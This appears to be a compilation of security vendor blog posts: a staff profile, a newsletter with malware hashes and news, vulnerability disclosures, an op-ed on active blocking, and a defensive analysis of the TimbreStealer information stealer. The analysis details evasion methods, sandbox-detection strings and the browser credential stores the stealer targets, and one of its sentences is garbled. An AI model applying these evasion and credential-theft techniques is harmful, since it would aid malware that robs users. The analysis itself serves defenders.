But Heather Couk thinks it’s useful in incident response calls, too. 

Couk, an incident response commander with Cisco Talos Incident Response, says she jokingly threatens to play it in team meetings or on calls with clients to bring the energy up in the room (whether it be a virtual one or otherwise). The song inspires everyone to rally together in an environment that’s usually very stressful or coming on someone’s worst day of their professional career.  

Her calm demeanor, optimism and love of the “Rocky” soundtrack are all things that Couk brings into each engagement with a Talos IR customer, whether they’re tackling an active ransomware engagement or just ready to sit down for a tabletop exercise to hone their emergency response plan.  
 
“When you have someone on the other end of the phone, you don’t know the panic or the circumstances that they are working with. Everyone deals with stress and crisis in different ways,” she said. “The main thing to do is listen and make them feel comfortable. Once someone can convey all their emotions and thoughts, that can give you some sense of comfort.” 

The personal side of Couk’s job in incident response mainly came with practice and repetition, but her interest in incident response and cybersecurity was initially fueled in the classroom.  

Initially in high school, Couk said she was planning on graduating and majoring in psychology in college. But as she was working on a project for which she needed to design and print some pamphlets for another class, she connected with an IT teacher at her school who helped her over winter break. 

After the project was over, Couk wrote a note to the teacher, thanking him for his assistance — something the teacher said he had never seen before. So, Couk ended up getting a small job with the teacher working on networking all the computers in her school’s district together, doing basic troubleshooting and working on the help desk for the project.  

“That fueled my passion for computers,” Couk recalled. 

She wound up double majoring in criminal justice and computer science at Missouri Southern State University. The bulk of her career was with a manufacturing company working as a security and email administrator, but she uses her criminal justice degree daily now with Talos IR helping to track down bad actors or helping customers understand adversaries’ motivation and tactics.  

“I’m routinely on call, and when I’m on call, you have to be willing to change direction,” she said. “Sometimes you’ll get unique requests where you have to be creative in your approach.” 

Heather Couk is here to keep your spirits up during a cyber emergency, even if it takes the “Rocky” music
Heather likes to take a break from the grind of incident response by taking her two dogs and cat out of what she calls "recess" time outside — her husband especially enjoys watching them play remotely through the home's video doorbell. 

During her on-call time, Couk is addressing customer concerns as they come in, often helping in emergency response engagements and addressing a data breach or cyber attack in real-time. Other days, she’s conducting proactive services with customers, including testing their incident response plans in exercises, creating new plans from the ground up, and conducting other types of training for their IT teams.  

While these can be very stressful environments, Couk says her team — and some inspirational music — help her stay on-task and focused.  

“My team is always there to pick up for me if I miss something,” she said. “Everybody has each other’s backs. It’s just very refreshing, there’s not a lot of focus on ‘Let’s look at what you did wrong and try to fix that.’ Everybody tries to stay positive, and that goes a long way when you’re trying to keep your temperament cool, calm and collected.” 

Also keeping her calm at home are her two dogs and a cat who she regularly enjoys taking outside for breaks throughout the day. Even just a five-minute walk around the block is enough for her to reset, Couk says, but for longer breaks, everyone goes out in the front yard for what her family jokingly calls “recess” with all the pets.  

Couk also enjoys stepping back from the day-to-day emergency response of IR to look at broader attacker trends. She frequently participates in the Talos IR On Air streams recapping the past quarter’s data in Talos IR engagements and collecting the data for Talos’ accompanying reports.  

In the coming year, she said she expects remote software to be a major focus for attackers, and a place that defenders need to be paying more attention to. Remote access software has become more popular since more workers went remote after the COVID-19 pandemic, but it also opens the door to adversaries to silently infiltrate targeted networks by just stealing one set of legitimate login credentials. 

“Companies need to get a better handle on how those are used and deployed in the environment,” Couk said. “I’m always trying to stay abreast to all the latest threats, that way I’m aware of the opportunities to strengthen and harden customers’ environments.” 

While it can be satisfying for Couk to stop an attacker in their tracks or lead a customer through an active event, she said it’s the ongoing relationships that make her feel most fulfilled in incident response. Repeated conversations and meetings with customers (and successfully helping them in any situation) builds trust over time, Couk says, and she can then benefit from that trust to help them act even faster the next time. 

“I love it when we can predict what the adversary’s next action is going to be,” she said. “Then the customer trusts us, knows we’ve seen this before and been around, and it feels good to aid others and tell them what we’ve seen, so we can get it stopped faster the next time. It’s the classic ‘good vs. evil' battle.” 

Why Apple added protection against quantum computing when quantum computing doesn’t even exist yet

Why Apple added protection against quantum computing when quantum computing doesn’t even exist yet

Apple released a new update for nearly all its devices that provides an all-new type of encryption for its iMessages to the point that, in theory, iMessages are now protected against attacks from quantum computers.  

This is a little tricky because, as we’ve covered before, quantum computers don’t exist yet, and we don’t really know when they might. 

Apple’s newest encryption technology, called PQ3, now secures iMessages with end-to-end encryption that is quantum-resistant. Signal, the secure messaging app of choice for many, launched quantum-resistant encryption for its service in September with its protocol called PQXDH

In a blog post, Apple called this update the “most significant cryptographic security upgrade in iMessage history.” 

To the average user, it’s probably tough to fully understand what this means. Private companies and governments are still pouring billions of dollars into developing quantum computers, and it’s more of a theory than a reality. We still don’t know a lot about quantum computing, and whether it could eventually be deployed in a scalable and responsible manner. The second one is created, though, it’s a safe bet that it’s going to fall into the wrong hands. 

Having these protections in place now is a huge step toward the U.S. National Institutes of Standards and Technology’s goal of creating post-quantum encryption everywhere. But change, as we all know, is slow, and it’s too early to start celebrating the idea that we’re all safe from the downsides of quantum computing.  

Eventually, every service, product, etc. that relies on public key infrastructure like SSL and TLS will need to re-examine how they operate and start integrating quantum-resistant algorithms. Think about how long it’s taken our network infrastructure to move from IPv4 to IPv6, and how IPv4 still routes most of today’s internet traffic.  

Then, compare that to Apple and Signal, who get to roll out automatic updates to their users. It’s no guarantee that users are going to install these patches, but most will update their devices overnight without them even noticing, or they’ll just install the update to finally get the pop-up notifcation to go away. Others won’t have that same benefit. 

Deploying PQC to a messaging app is easy enough, next we’ll have to hope that vendors who support web browsers, email clients, wireless routers AND those messaging apps are all on the same page so we can hopefully avoid overwhelming IT teams when we do enter the age of quantum computing.  

The one big thing 

Cisco Talos researchers have uncovered new details about the tooling and command and control servers used by the Turla APT. The infamous Russian state-sponsored actors was recently spotted spreading the TinyTurla-NG (TTNG) backdoor to issue commands to the infected endpoints. Talos also discovered the use of three other malicious modules deployed via the initial implant, TinyTurla-NG, to maintain access, and carry out arbitrary command execution and credential harvesting. One of these components is a modified agent/client from Chisel, an open-sourced attack framework, used to communicate with a separate C2 server to execute arbitrary commands on the infected systems. 

Why do I care? 

Turla is a well-known group that has most recently been seen targeting non-governmental organizations (NGOs) in Poland. Talos’ research found that Turla’s new backdoor code is different than its predecessors, which means defenders need to change up their detection methods, too. Our researchers partnered with Cert NGO, an incident response service in Poland, to disclose this information, so potential victims in Poland are now better protected and prepared for this activity.  

So now what? 

Talos has released new IOCs to provide defenders with new ways to block this actor. Turla also has tools for elevated process execution and credential harvesting, so ensuring that your organization utilizes the principle of least privilege can go a long way toward preventing these attacks. 

Top security headlines of the week 

The FBI and other international law enforcement agencies partnered to take down the LockBit ransomware gang’s leak site that it used to extort its victims. However, several days after the announcement, the group announced it was back online and launched what appears to be a new leak site. As part of the takedown effort, the agencies released new decryption software for victims of LockBit and arrested two suspected operators in Poland and Ukraine at the request of French authorities. The leak site’s page was replaced with information on the decryption key, press releases from the involved law enforcement agencies, charging documents and more. However, after the weekend, LockBit claimed it was back and invited affiliates to re-join its infrastructure. They even returned to extorting one of their current victims, Fulton County, Georgia. Representatives from the Fulton County government said on Monday that the group “re-established a site on the dark web and have once again listed Fulton County as one of their victims, with a renewed threat to release purportedly stolen data.” (CNN, SecurityWeek, WSB-TV

Microsoft expanded its free logging services last week to now provide offerings for all U.S. federal agencies. The move comes after Chinese state-sponsored actors stole a Microsoft signing key and used it to spy on the emails of U.S. lawmakers last year. Previously, the company charged its cloud services customers extra for access to security logs that could have detected these types of intrusions. Now, they’re available for free. It’s also increasing the default log retention period from 90 days to 180 days (the minimum that Cisco Talos Incident Response has recommended in the past) for logs. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) said in a statement that it worked with Microsoft, the Office of Management and Budget (OMB) and the Office of the National Cyber Director (ONCD) to roll this program out to select agencies over the past six months. CISA also released a new log management playbook for agencies that “provides further detail on each newly available log and how these logs can be used to support threat hunting and incident-response operations.” (CISA, CyberScoop

U.S. President Joe Biden signed an executive order on Wednesday designed to keep U.S. citizens’ personal information from being sold to companies and organizations in Russia and China, two of the U.S.’s largest opponents in cyberspace. The executive order identified so-called “countries of concern” where U.S. firms could face punishments for selling personal information to, even if it was collected legitimately. However, the enforcement mechanisms for this must be created and installed, which could take months or longer. The Biden administration hopes to limit foreign entities or foreign-controlled companies that operated in the U.S. from improperly collecting sensitive data. This data includes things like biometrics, health data and geolocation. American lawmakers have long expressed concern that data sold by brokers or even stolen in cyber attacks could be used to spy or blackmail sensitive targets in the U.S., such as government officials and military leaders. Data brokers are legal in the U.S. They usually collect and categorize personal information on users, usually building profiles on them that can be sold to advertisers, social media companies, and more for personalized targeting. (Associated Press, Bloomberg

Can’t get enough Talos? 

Upcoming events where you can find Talos 

BSides Sofia 2024 (March 23 - 24) 

Sofia, Bulgaria

S4x24 (March 24 - 27) 

Miami Beach, Florida 

To protect themselves during Russian aggression, the Ukrainian military utilizes electronic warfare to blanket critical infrastructure to defeat radar and GPS-guided smart munitions. This has the unintended consequence of disrupting GPS synchrophasor clock measurements and creating service outages on an already beleaguered and damaged transmission electric grid. Joe Marshall from Talos’ Strategic Communications team will tell an incredible story of how a group of engineers and security professionals from a diverse coalition of organizations came together to solve this electronic warfare GPS problem in an unconventional technical way, and helped stabilize parts of the transmission grid of Ukraine. 

RSA (May 6 - 9) 

San Francisco, California 

Most prevalent malware files from Talos telemetry over the past week 

SHA 256: e4973db44081591e9bff5117946defbef6041397e56164f485cf8ec57b1d8934 
MD5: 93fefc3e88ffb78abb36365fa5cf857c 
Typical Filename: Wextract 
Claimed Product: Internet Explorer 
Detection Name: W32.File.MalParent 

SHA 256: 9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc 
MD5: 4813fa6d610e180b097eae0ce636d2aa 
Typical Filename: xmrig.exe 
Claimed Product: XMRig 
Detection Name: Trojan.GenericKD.70491190 

SHA 256: a75004c0bf61a2300258d99660552d88bf4e1fe6edab188aad5ac207babcf421 
MD5: c44f8ef0bbaeee256bfb62561c2a17db 
Typical Filename: ggzokjcqkgcbqiaxoohw.exe 
Claimed Product: N/A  
Detection Name: Symmi:GenMalicious-tpd 

SHA 256: 5e537dee6d7478cba56ebbcc7a695cae2609010a897d766ff578a4260c2ac9cf 
MD5: 2cfc15cb15acc1ff2b2da65c790d7551 
Typical Filename: rcx4d83.tmp 
Claimed Product: N/A   
Detection Name: Win.Dropper.Pykspa::tpd 

SHA 256: 59f1e69b68de4839c65b6e6d39ac7a272e2611ec1ed1bf73a4f455e2ca20eeaa   
MD5: df11b3105df8d7c70e7b501e210e3cc3   
Typical Filename: DOC001.exe   
Claimed Product: N/A   
Detection Name: Win.Worm.Coinminer::1201 

Multiple vulnerabilities in Adobe Acrobat Reader could lead to remote code execution

Multiple vulnerabilities in Adobe Acrobat Reader could lead to remote code execution

Cisco Talos has disclosed more than 30 vulnerabilities in February, including seven in Adobe Acrobat Reader, one of the most popular PDF editing and reading software currently available. 

Adversaries could exploit these vulnerabilities to trigger the reuse of a previously freed object, thus causing memory corruption and potentially arbitrary code execution on the targeted machine.  

Other potential code execution vulnerabilities are also present in Weston Embedded µC/HTTP-server, a web server component in Weston Embedded's in-house operating system and an open-source library that processes several types of potentially sensitive medical tests.  

For Snort coverage that can detect the exploitation of these vulnerabilities, download the latest rule sets from Snort.org, and our latest Vulnerability Advisories are always posted on Talos Intelligence’s website.  

Multiple vulnerabilities in Adobe Acrobat Reader 

Discovered by KPC of Cisco Talos. 

Adobe Acrobat Reader contains multiple vulnerabilities that could lead to remote code execution if exploited correctly. Acrobat is known for being one of the most popular PDF readers available and allows users to fill out, edit and share PDFs. 

TALOS-2023-1905 (CVE-2024-20735), TALOS-2023-1908 (CVE-2024-20747) and TALOS-2023-1910 (CVE-2024-20749) are all out-of-bounds read vulnerabilities that could lead to memory corruption, and eventually arbitrary code execution. TALOS-2023-1909 (CVE-2024-20748) also can lead to an out-of-bounds read, but in this case, could lead to the disclosure of sensitive information about the processes running in the software that could aid an adversary in the exploitation of other vulnerabilities or to bypass detection. 

TALOS-2023-1901 (CVE-2024-20731), TALOS-2023-1890 (CVE-2024-20729) and TALOS-2023-1906 (CVE-2024-20730) can also lead to arbitrary code execution, but in this case, the vulnerability is caused by a buffer overflow.  

An adversary can exploit all the aforementioned vulnerabilities by tricking the targeted user into opening a specially crafted PDF file. Usually, these come in the form of attachments or download links on phishing emails or other social engineering tactics. 

Open-source library used in medical tests vulnerable to code execution 

Discovered by Lilith >_>. 

Talos researchers discovered multiple arbitrary code execution vulnerabilities in Libbiosig, an open-source library that processes various types of medical signal data, such as for tracking patient’s respiration levels, or measuring an electrocardiogram (ECG). The library produces the information in a way that is useable in different file formats.  

An attacker could provide a specially crafted, malicious file to exploit TALOS-2024-1918 (CVE-2024-23305), TALOS-2024-1921 (CVE-2024-21812), TALOS-2024-1922 (CVE-2024-23313) and TALOS-2024-1925 (CVE-2024-23606), which causes an out-of-bounds write. An attacker could then leverage that to execute arbitrary code on the targeted device.  

TALOS-2024-1920 (CVE-2024-21795) and TALOS-2024-1923 (CVE-2024-23310) work in the same way, but in this case, cause a heap-based buffer overflow and use-after-free condition, respectively. 

Two other vulnerabilities, TALOS-2024-1917 (CVE-2024-22097) and TALOS-2024-1919 (CVE-2024-23809), are double-free vulnerabilities that can also lead to arbitrary code execution.  

All the vulnerabilities Talos found in Libbiosig are considered critical, with a CVSS score of 9.8 out of 10. 

Use-after-free vulnerability in Imaging Data Commons libdicom 

Discovered by Dimitrios Tatsis. 

A use-after-free vulnerability (TALOS-2024-1931/CVE CVE-2024-24793, CVE-2024-24794) exists in Imaging Data Commons libdicom, causing the premature freeing of memory that is used later.  

Libdicom is a C library and a set of command-line tools for reading DICOM WSI files, commonly used in the medical field to store and transmit files. It’s commonly used in doctor’s offices, health systems and hospitals.  

An adversary could exploit this vulnerability by forcing the targeted application to process a malicious DICOM image, potentially allowing them to later cause memory corruption on the application and possibly arbitrary code execution.  

Arbitrary code execution, denial-of-service vulnerabilities in Weston Embedded server 

Discovered by Kelly Patterson. 

A critical heap-based buffer overflow vulnerability in the Weston Embedded uC-HTTP server could lead to arbitrary code execution. TALOS-2023-1843 (CVE-2023-45318) exists in the web server component of Weston’s uCOS real-time operating system.  

The overflow occurs when parsing the protocol version of an HTTP request if the adversary sends a malicious packet to the targeted machine. TALOS-2023-1843 has a maximum severity score of 10.  

The server also contains two other vulnerabilities — TALOS-2023-1828 (CVE-2023-39540, CVE-2023-39541) and TALOS-2023-1829 (CVE-2023-38562). 

TALOS-2023-1828 is a double-free vulnerability, which could also lead to code execution, while TALOS-2023-1829 could allow an adversary to cause a denial of service on the targeted device. 

5 heap-based buffer overflow vulnerabilities in implementation of LLaMA 

Discovered by Francesco Benvenuto. 

Talos discovered multiple heap-based buffer overflows in llama.cpp that could lead to code execution on the targeted machine.  

LLaMA.cpp is a project written in C/C++ that provides inference for Large Language Models (LLMs). It supports a wide variety of hardware and platforms. Besides inference, it can also be used for quantizing models and provides Python bindings for simpler integration with more complex projects. For example, it can be used to create an AI assistant like ChatGPT. LLaMA.cpp also supports GGUF, a file format for storing LLMs that focuses on extensibility and compatibility. 

LLaMA.cpp’s GitHub page says its goal is to provide users with an “LLM inference with minimal setup and state-of-the-art performance on a wide variety of hardware — locally and in the cloud.” 

An adversary could exploit the following vulnerabilities if they provide a specially crafted .gguf file, the file type commonly used to store language models for inference: TALOS-2024-1912 (CVE-2024-21825), TALOS-2024-1913 (CVE-2024-23496), TALOS-2024-1914 (CVE-2024-21802), TALOS-2024-1915 (CVE-2024-21836) and TALOS-2024-1916 (CVE-2024-23605). 

Stop running security in passive mode

Stop running security in passive mode

As we begin a new year, we wanted to address one of the biggest issues we consistently see in our investigations: passive security. 

Incident response engagements are an important part of our work and the intelligence-gathering process and their associated reports can be a treasure trove of tactics, techniques and procedures (TTPs) for adversaries, but also expose common gaps and mistakes organizations make. 

When we're fighting state-sponsored groups and cartels with millions in revenue to support their attacks, trying to win with passive security isn't a good strategy. One of the most common findings from Cisco Talos Incident Response engagements involves some variation of the technology in place and it detected the activity, yet the actor(s) successfully compromised the organization. The reason almost without fail is that the product wasn't running in blocking mode, something easily prevented with an active approach

This fight between enterprises and threat actors isn't new – we've been going back and forth for decades, if not longer. As long as we've had security technology that actively blocks, there have been employees and leaders arguing that it shouldn't. Maybe 10 or 15 years ago they could have had an argument, as emerging technology can produce a lot of false-positives, but in today's threat landscape, it's asking for trouble.

Passive detection has its place in specific circumstances where active blocking either isn't possible or feasible; the issue comes when organizations run the majority, if not all, of their security technologies in passive mode, most critically on the endpoint. These last bastions of detection are invaluable for identifying attacks that were successful in evading and actively blocking security technologies that may be deployed to prevent compromise.

Adversaries' sophistication continues to improve

Historically, the threats organizations had to deal with were rarely targeted and primarily the work of miscreants trying to install a bot or some other simple malicious payload. Today, if you are lucky, you are only fighting against scores of affiliates using every technique and vulnerability under the sun to try and compromise the organization with severe impacts, resulting in potentially millions of dollars in ransom or extortion payments as well as collateral brand and reputation damage. In even worse scenarios, enterprises are also facing off against state-sponsored groups with deep funding and associated sophistication and the potential links between them.

These adversaries are sophisticated but they aren't perfect. They still need to run commands and potentially execute tooling to complete their compromise. Commonly, these commands and tools are detected, but if they aren't blocked, it’s not likely to slow the adversary down. What is the point of spending, in some cases, millions of dollars on technology to protect your environment only to have an alert generated at 3 a.m., when no one was looking, as the adversary was gathering and exfiltrating your most valuable secrets? This is especially true for endpoint security, as this is the last bastion of protection an organization has and as the final line of defense it needs to be impactful.

Threat actors are getting more efficient at their goals of data gathering, exfiltration and ransoming. During our research into Truebot, we identified a tool called “teleport” designed to make data exfiltration faster and more covert. This allowed actors to quickly execute commands to gather and exfiltrate potentially interesting data for extortion purposes. 

This is just the latest example in a long line of evidence pointing to sophistication and structure. Others include leaked playbooks for how to work through a network quickly and efficiently. These affiliates are good at what they do, and not actively blocking their activity is a mistake.

Skills shortage is real and getting worse

There might be an argument to be made that if you are running a 24/7/365 security operations team then running in passive mode should be sufficient since they can be actioned by analysts. In reality, the limited security team is at capacity just keeping the technology they have updated, running and reporting. While simultaneously having to manage the expectations and demands of leadership on the latest vulnerability or threat that is making headlines. Combine that with the need to meet all compliance requirements for the business and you're already over-extended. This leaves little time for analysts to triage alerts as they are generated. More often than not, an alert is sent to a console with no one looking, and as the saying goes, “If a tree falls in the woods and no one is there to hear it, does it make a sound?” 

Likewise generating alerts without taking action doesn't protect the organization, it just sends up a flare that something could be wrong. In the end, you're left with an incident response report that shows the right technology was deployed in the right places and it did its job, but the adversaries were still successful.

Parallels to enterprise patching progress

There is another issue in security or more generally in IT that has some parallels to active security: patching. Looking back five to 10 years, patching was either not being done at all or was required to be "baked in" for three to six months on test systems to ensure it didn't cause any issues or crashes. Flash forward to today and patches have become so stable that organizations roll them out with regularity without issue and home users commonly have patches automatically applied. The same is true for active security today. False-positives can still happen, but the risk continues to diminish as the threats grow exponentially.

Do you want false positives or true breaches?

The other common argument that is brought to the table when discussing active security technology is the threat of false-positives. False-positives are just part of deploying security technology – nothing's perfect, and improper detection is going to happen. Organizations need to ask themselves, “Is it better to deal with occasional headaches of false-positives, or a really big headache when a breach happens?” 

It's better to have this conversation with leadership now than after a major incident has occurred. Make sure to support your argument with hard data about the volume of alerts that are generated, the tasking associated with it, and the challenges of operating in today's landscape with one hand tied behind your back while fighting off skilled, determined adversaries. It's 2024 and running passive security is a recipe for disaster.

TimbreStealer campaign targets Mexican users with financial lures

  • Cisco Talos has discovered a new campaign operated by a threat actor distributing a previously unknown malware we’re calling “TimbreStealer.”
  • This threat actor was observed distributing TimbreStealer via a spam campaign using Mexican tax-related themes starting in at least November 2023. The threat actor has previously used similar tactics, techniques and procedures (TTPs) to distribute a banking trojan known as “Mispadu.”
  • TimbreStealer is a new obfuscated information stealer found targeting victims in Mexico.
  • It contains several embedded modules used for orchestration, decryption and protection of the malware binary.
TimbreStealer campaign targets Mexican users with financial lures

Talos has observed an ongoing phishing spam campaign targeting potential victims in Mexico, luring users to download a new obfuscated information stealer we’re calling TimbreStealer, which has been active since at least November 2023. This campaign uses phishing emails with financial themes, directing users to a compromised website where the payload is hosted and tricking them into executing the malicious application.

Talos has observed new distribution campaigns being conducted by this threat actor since at least September 2023, when they were initially distributing a variant of the Mispadu banking trojan using geofenced WebDAV servers before changing the payload to this new information-stealer. After the threat actor changed to this new stealer, we haven’t found any evidence of Mispadu being used anymore.

The phishing campaign uses geofencing techniques to only target users in Mexico, and any attempt to contact the payload sites from other locations will return a blank PDF file instead of the malicious file. The current spam run was observed to mainly use Mexico's digital tax receipt standard called CDFI (which stands for “Comprobante Fiscal Digital por Internet,” or online fiscal digital invoice in English). Talos has also observed emails using generic invoice themes used for the same campaign. 

Although we could not find hard evidence linking the two campaigns, we assess with high confidence they are operated by the same threat actor, based on the same TTPs observed in this campaign and the previous activity distributing Mispadu, and the fact that once TimbreStealer started being distributed, we could not find any more evidence of Mispadu being used. 

TimbreStealer, a new obfuscated information stealer

Talos has identified a new family of information stealers while investigating a spam campaign targeting Mexican users starting in November 2023. The name TimbreStealer is a reference to one of the themes used in the spam campaign which we will analyze later.

TimbreStealer exhibits a sophisticated array of techniques to circumvent detection, engage in stealthy execution, and ensure its persistence within compromised systems. This includes leveraging direct system calls to bypass conventional API monitoring, employing the Heaven’s Gate technique to execute 64-bit code within a 32-bit process, and utilizing custom loaders. These features indicate a high level of sophistication, suggesting that the authors are skilled and have developed these components in-house.

TimbreStealer campaign targets Mexican users with financial lures
Snippet of code showing how Heaven’s Gate 64-bit switch is executed

The sample we’re analyzing was found on a victim machine following a visit to a compromised website after the users clicked on a link present in a spam email. 

TimbreStealer campaign targets Mexican users with financial lures
Sample used during this blog analysis

Our analysis identified several modules embedded in the malware’s “.data” section, and a complex decryption process involving a main orchestration DLL and a global decryption key which is used throughout the different modules and updated at each stage. While this analysis is not yet complete, we wanted to describe at least the initial modules and their relationship.

TimbreStealer’s Decryption Process 

This first layer executable is packed and includes an embedded DLL in its “.data” section. The loader will first scan Ntdll for all of the Zw* exports and build an ordered hash table of the functions. All sensitive APIs from this point will be called with direct system calls into the kernel. For 64-bit machines, this will include a transition from 32-bit to 64-bit mode through Heaven’s Gate before the syscall is issued. 

TimbreStealer campaign targets Mexican users with financial lures
Snippet of code showing the two different method used by TimbreStealer to execute system calls to hide API usage.

Once this is complete, it will then decrypt the next stage payload from the .data section. The decrypted DLL has its MZ header and PE signature wiped, a technique we will see throughout this malware. A custom PE loader now launches the DLL passing the Zw* hash table as an argument to its exported function. 

Decryption of all submodules makes use of a global decryption key. As the execution of the malware progresses, this key is encrypted over and over again. If execution does not follow every step of the expected path, the decryption key will get out of sync and all subsequent decryptions will fail. 

This prevents reverse engineers from short-cutting the logic to force decryptions or statically extracting arguments to access the payloads. This means every anti-analysis check has to be located and circumvented. Encryption rounds on the global key are scattered about in the code and even occur from within the different sub-modules themselves. 

All stages of this malware use the same coding style and techniques. We therefore assess with high confidence that all obfuscation layers and final payload were developed by the same authors. 

TimbreStealer’s embedded modules

Once the initial layer is extracted, TimbreStealer will check if the system is of interest and whether or not it’s being executed in a sandbox environment. It will also extract the many submodules embedded in the payload. Talos identified at least three different layers after the main payload was extracted, with several modules in each layer used for different functions:

TimbreStealer campaign targets Mexican users with financial lures
Diagram showing the different module relationships in TimbreStealer.

The second stage of the malware is the orchestrator layer, which is responsible for detecting systems of interest and extracting all subsequent modules. To determine if the system is of interest to the attackers, the malware first checks that the system language is not Russian, and then checks the timezone to ensure it is within a Latin American region. This is followed by CsrGetProcessId debugger checks and counting desktop child windows to ensure it is not running in a sandbox environment. 

At this stage the malware will also do a mutex check, look for files and registry keys that may be indicative of previous infection, and scan the system browsers for signs of natural use. The files and registry keys checked by the malware include the non-exhaustive list below:

  • HKLM\SOFTWARE\Microsoft\CTF\TIP\{82AA36AD-864A-2E47-2E76-9DED47AFCDEB}
    • {A0E67513-FF6B-419F-B92F-45EE8E03AEEE} = <value>
    • {E77BA8A1-71A1-C475-4F73-8C78F188ACA7} = <value>
    • {DB2D2D69-9EE0-9A3C-2924-67021A31F870} = <value>
    • {6EF3E193-61BF-4F68-9736-51CF6905709D} = <value>
    • {3F80FA11-1693-4D05-AA83-D072E69B77FC} = <value>
    • {419EEE13-5039-4FA4-942A-ADAE5D4ED5C3} = <value>
  • C:\Windows\Installer\{E1284A06-8DFA-48D4-A747-28ECD07A2966}
  • Global\I4X1R6WOG6LC7APSPY1YAXZWJGK70AZARZEGFT3U

The presence of these keys along with other checks mentioned before will prevent the execution of the remaining stages of the malware.

The orchestrator contains four other encrypted sub-modules within it. 

IDX

Size

CRC32

Purpose

0

8kb

0xF25BEB22

Shellcode loader for stripped DLLs

1

100kb

0xEB4CD3EC 

DLL - not analyzed yet

2

60kb

0xFA4AA96B

DLL - Anti-vm and anti-analysis, system of interest checks

3

3.92mb

0xAB029A74

DLL - Installer with encrypted payload

All blobs are accessed through a parent loader function which verifies the expected Zlib CRC32 hash of data and can optionally decompress the raw data if specified. This overall architecture has been observed in all layers. 

Each stripped DLL is loaded by a custom shellcode loader from submodule #0 (IDX = 0). Execution is transferred to this shellcode through a Heaven’s Gate stub using the ZwCreateThreadEx API.

TimbreStealer campaign targets Mexican users with financial lures
Snippet of code showing how TimbreStealer execute the embedded shellcode modules

Submodule No. 2 is an anti-analysis DLL that performs several checks and does scattered rounds of encryption on the global decrypt buffer. If any check fails, the installer module will not decrypt properly. Checks in this layer include:

  • VMWare hook and port checks.
  • Vpcext, IceBP, int 2D instructions to detect debuggers.
  • Checking physical drive for strings: qemu, virtual, vmware, vbox, xensrc, sandbox, geswall, bufferzone, safespace, virtio, harddisk_ata_device, disk_scsi_disk_device, disk_0_scsi_disk_device, nvme_card_pd, google_persistentdisk.

If all of these checks complete as expected, then the final module can be decrypted successfully. 

Submodule No. 3 is the installer layer, which will drop several files to disk and trigger execution. A benign decoy document will also be displayed to help defer suspicion. 

TimbreStealer campaign targets Mexican users with financial lures
Files dropped by the payload installer module after machine of interest checks passed

Execution is triggered by registering a task through the ITaskService COM interface. The scheduled task uses Microsoft’s reg.exe to add a run once registry key, and then trigger rundll32.exe to process this entry through the system iernonce.dll.

TimbreStealer campaign targets Mexican users with financial lures
Scheduled Task configuration to run the installed DLL

Under certain conditions, this layer can also modify Group Policy options to set startup scripts.

TimbreStealer’s Installed DLL modules 

The installed DLL named Cecujujajofubo475.dll uses the same overall architecture as the first DLL detailed above, with all of its internal strings encrypted, uses a global decrypt buffer, and uses a different Zw* API hash table to perform direct syscalls avoiding user API. 

In this layer there are also TLS callbacks to add complexity to global decrypt buffer encryption. An extra round of encryption has also been added that depends on the parent process name and value within the registry key given above to prevent analysis on 3rd party machines. 

This DLL contains eight encrypted sub-modules within it:

IDX

Size

CRC32

Purpose

0

0x1000

0x2B80E901

Single XOR function accepting 5 arguments

1

0x1000

0x520200E8

x64 shellcode PE loader

2

0x2000

0x105542F7

x86 shellcode PE loader

3

0x2000

0xC4ECE0A8

Unknown shellcode

4

0x7600

0xC1384E15

Unknown module, seems to be used to decompress other blobs

5

0xD800*

0x1D38B250

Anti-VM/Sandbox layer 

6

0x1B600*

0x4F1FEFE3

x86 DLL to extract main payload

7

0x1EE00*

0xF527AC18

x64 DLL to extract main payload

(*) indicates the blob is decompressed after decryption. The column shows the decompressed size.

While this DLL contains many of the same protections found in the installation phase, several more have been identified in this layer. The first is a patch to the ZwTraceEvent API to disable user mode Event Tracing for Windows data collection. 

Another interesting protection overwrites all of the loaded DLLstwo-stagein the process with clean copies from the that disk. This will wipe all Antivirus vendor user mode hooks, software breakpoints, and user patches during execution. 

This DLL serves as a loader for the final payload which is housed within the ApplicationIcon.ico file shown in the previous relationship diagram. Submodule No. 7 will be the default loader that Submodule attempts to launch. They attempt to inject this 64-bit DLL into a preferred list of svchost.exe processes. 

The order of preference is based on svchost.exe process command line, looking for the following strings: 

  • DcomLaunch 
  • Power 
  • BrokerInfrastructure 
  • LSM 
  • Schedule 

If the injections into svchost.exe fail, then a backup 32-bit fallback shellcode is also available. In this mode a two-stage shellcode is loaded from sub-module No. 6 and execution is transferred to it. A new thread is created using syscalls with a modified context, and then ResumeThread triggers its execution. All memory allocations for the shellcode are also executed through the syscall mechanism set up earlier. 

The first stage of the shellcode will decrypt its second stage, and then extract and decrypt the final payload DLL from the ApplicationIcon.ico file. The 32 bit version will again use a custom PE loader to directly load and run the final payload DLL within its own process after extraction.

TimbreStealer’s Final Payload Module

The architecture of this layer is the same as all of the previous and contains an additional nine sub-modules. Analysis of this final payload module and submodules is still ongoing at the time of writing:

IDX

Size

CRC32

Purpose

0

0x1000

0x2B80E901 

Single XOR function accepting 5 arguments. Matches the previous layer blob #0

1

0x1000

0x520200E8 

x64 shellcode PE loader. Matches the previous layer blob #1

2

0x2000

0x105542F7

x86 shellcode PE loader. Matches the previous layer blob #2

3

0x2000

0xC4ECE0A8

Unknown shellcode. Matches the previous layer blob #3

4

0xA5000*

0xB0214A74

Not yet analyzed

5

0x13CC00*

0xE8421ADE

Not yet analyzed

6

0x16800*

0xD30A298E

Not yet analyzed

14

0x16600*

0x55BFB99

Not yet analyzed

15

0x7C800*

0x2F6F928D

Not yet analyzed

(*) indicates the blob is decompressed after decryption. The column shows the decompressed size.

The following is a preliminary analysis of the malware features based on the strings we were able to decrypt from this module. They indicate the malware can collect a variety of information from the machine and post data to an external website, which is typical behavior of an information stealer. 

Collect credential information from the victim’s machine

The following strings were found in functions scanning files and directories. This module also embeds the SQLite library to handle different browsers' credential storage files.

  • CloudManagementEnrollmentToken
  • Google\\Chrome Beta\\User Data
  • Google\\Chrome Dev\\User Data
  • Google\\Chrome SxS\\User Data
  • Google\\Chrome\\User Data
  • Google\\Policies
  • Microsoft\\Edge Beta\\User Data
  • Microsoft\\Edge Dev\\User Data
  • Microsoft\\Edge\\User Data
  • Software\\Google\\Chrome
  • Software\\Google\\Chrome\\Enrollment
  • Software\\Google\\Enrollment
  • Software\\Google\\Update\\ClientState\\{430FD4D0-B729-4F61-AA34-91526481799D}
  • SOFTWARE\\Microsoft\\Cryptography
